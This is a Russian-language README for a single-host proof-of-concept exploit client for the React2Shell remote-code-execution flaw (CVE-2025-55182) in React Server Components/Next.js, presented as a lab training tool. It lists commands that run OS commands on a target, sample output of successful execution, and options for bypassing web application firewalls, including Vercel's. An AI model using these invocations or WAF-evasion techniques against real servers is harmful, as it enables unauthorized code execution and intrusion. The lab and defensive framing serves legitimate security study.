
Точное обнаружение уязвимостей удаленного выполнения кода в RSC/Next.js (CVE-2025-55182, CVE-2025-66478)
CVE-2025-55182 – PoC RCE для React Server Components
Обучающий эксплойт-клиент для лаборатории React2Shell от Hidden Investigations.
Этот репозиторий содержит эксплойт-инструмент уровня proof-of-concept (PoC) для одного хоста, предназначенный для уязвимости React2Shell (CVE-2025-55182), нацеленной на некорректно сконфигурированные приложения React Server Components / Next.js.
Он предназначен для использования только против официальной лаборатории React2Shell от Hidden Investigations или систем, которыми вы явно владеете / которые администрируете.
Этот проект предоставляется строго для образовательных и защитных исследований безопасности:
Используя этот инструмент, вы соглашаетесь соблюдать все применимые законы и нормативные требования.
whoami)--waf-bypass, --waf-bypass-size)--vercel-waf-bypass)--insecure, пользовательские заголовки)-o/--output, --all-results)requestsУстановите зависимости через:
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
Базовая справка:
python3 react2shell-scanner.py -h
Инструменту требуется целевой URL:
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# or
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
Если запустить его без -t/--target или -u/--url, он выведет фирменное справочное сообщение и завершится.
Примечание: Этот PoC только для одного хоста. Опция
-l/--listприсутствует, но намеренно отключена.
Пример тихого режима (удобный многострочный вывод):
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
Вывод:
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
Следующие флаги существуют для зеркалирования CLI Assetnote, но не реализованы в этом PoC, чтобы избежать злоупотребления массовым сканированием:
| Option | Status |
|---|---|
-l, --list | Не реализовано |
--threads N | Не реализовано |
Если вы используете -l/--list, инструмент выведет предупреждение и завершится, предлагая использовать оригинальный react2shell-scanner от Assetnote для безопасного крупномасштабного сканирования.
Запуск против локальной лаборатории:
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
Использование обхода WAF с большим мусорным полем:
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
Несколько путей на одном хосте:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
Пути из файла:
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
Режим безопасной проверки (без выполнения OS-команд):
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
Вывод результатов в JSON-файл:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
При использовании -o/--output инструмент записывает массив объектов, например:
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
react2shell-scanner.Этот проект распространяется под лицензией MIT. Подробности см. в LICENSE.
📬 Свяжитесь с нами: [email protected]
| Option | Description | Default |
|---|
-t, --target | Целевой URL или домен (обязательно, если не используется --url) | None |
-u, --url | Псевдоним для --target (флаг в стиле Assetnote) | None |
--path | Путь для проверки (можно указывать несколько раз, например /, /_next) | / |
--path-file | Файл с путями для проверки (по одному на строку) | None |
| Option | Description | Default |
|---|
-c, --command | Команда для выполнения на цели (в случае успешной эксплуатации) | id |
--safe-check | Использовать полезную нагрузку SAFE_CHECK (без OS-команды, только строка-маркер) | off |
--windows | Адаптировать значения по умолчанию для Windows-целей (например, использовать whoami, когда команда id) | off |
--waf-bypass | Добавлять большое мусорное multipart-поле в начало тела запроса для обхода WAF | off |
--waf-bypass-size KB | Размер мусорного поля в КБ при использовании --waf-bypass | 128 |
--vercel-waf-bypass | Использовать альтернативную multipart-раскладку для изменения поведения WAF Vercel (упрощённый PoC) | off |
| Option | Description | Default |
|---|
--timeout SECONDS | Таймаут запроса в секундах | 15 (или 20, если задан --waf-bypass и таймаут не указан) |
-k, --insecure | Отключить проверку SSL (как curl -k) | off |
-H, --header | Пользовательский заголовок, напр. -H "X-Forwarded-For: 127.0.0.1" (можно повторять) | None |
| Option | Description | Default |
|---|
-o, --output FILE | Записать JSON-результаты в FILE | None |
--all-results | При использовании --output включать также неуязвимые результаты | off |
-v, --verbose | Подробный режим – показывать HTTP-статус и заголовок X-Action-Redirect | off |
-q, --quiet | Тихий режим – при успехе выводить только нормализованный вывод команды | off |
--no-color | Отключить цветной вывод в терминале | off |